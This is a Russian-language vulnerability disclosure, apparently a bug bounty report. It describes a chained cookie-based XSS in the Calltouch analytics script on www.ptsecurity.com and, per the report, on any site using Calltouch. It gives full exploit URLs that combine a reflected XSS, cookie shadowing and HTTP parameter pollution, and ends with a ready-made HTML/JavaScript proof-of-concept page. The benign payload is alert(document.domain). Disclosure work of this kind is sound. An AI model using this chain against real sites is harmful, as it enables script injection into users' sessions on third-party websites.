Используя уязвимости аналитики Сalltouch, используемой на сайте www.ptsecurity.com
, возможно выполнение произвольного JavaScript кода в контексте www.ptsecurity.com
, а также ЛЮБОГО сайта, использующего Сalltouch.
Шаги для воспроизведения
Шаг #1 (XSS на calltouch и создание cookie _ct[client_global_id)
http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E
Данный шаг необходим в случае, если пользователь ранее открывал сайт www.ptsecurity.com
и имеет в контексте сайта mod.calltouch.ru
cookie _ct_client_global_id
.
Сайт открывается по HTTP, чтобы сценарий global_cookie.php
не получил существующее значение cookie _ct_client_global_id
, так как оно установлено с аттрибутом Secure.
Далее, через уязвимость XSS в сценарии global_cookie.php
создается значение _ct[client_global_id
, которое при следующем запросе будет идти первым в списке Cookie и заблокирует реальное значение _ct_client_global_id
.
Символ [
в ключе cookie обрабатывается PHP как _
.
Шаг #2 (Перезапись заблокированной cookie через ctClientGlobalId)
https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'
При открытии ссылки отправится запрос, содержащий заголовок
Cookie: _ct[client_global_id=; _ct_client_global_id=<реальное_значение>;
Сценарий global_cookie.php
в результате не получит значение из Cookie и обработает параметр из _GET ctClientGlobalId
.
Шаг #3 (Обновление cookie в контексте www.ptsecurity.com)
https://www.ptsecurity.com/ru-ru/
Сайт www.ptsecurity.com
обращается к сценарию mod.calltouch.ru/global_cookie.php
и обновляет свою cookie _ct_client_global_id
в значение xxx&ctObject='-alert(document.domain)-'
Шаг #4 (Вызов XSS через HTTP Parameter Pollution)
https://www.ptsecurity.com/ru-ru/
Сайт www.ptsecurity.com
обращается к сценарию mod.calltouch.ru/d_client_new.js
, поставляет значение cookie _ct_client_global_id
в параметр ctClientGlobalId
.
Через HTTP Parameter Pollution переопределяется параметр ctObject
в значение '-alert(document.domain)-'
и генерируется следующий JavaScript
if (window[''-alert(document.domain)-''] && typeof window[''-alert(document.domain)-''] === 'function') {
В результате эксплуатации получается XSS через Cookie, которая вызывается каждый раз на любой странице, которая использует calltouch.
Пример эксплуатации
<button onclick="step1()">Exploit</button>
<script>
var w
function step1() {
w = window.open("http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E")
window.focus()
setTimeout(step2, 3000)
}
function step2() {
w.location = "https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'"
setTimeout(step3, 3000)
}
function step3() {
w.location = "https://www.ptsecurity.com/ru-ru/"
setTimeout(step4, 5000)
}
function step4() {
w.location = "https://www.ptsecurity.com/ru-ru/"
}
</script>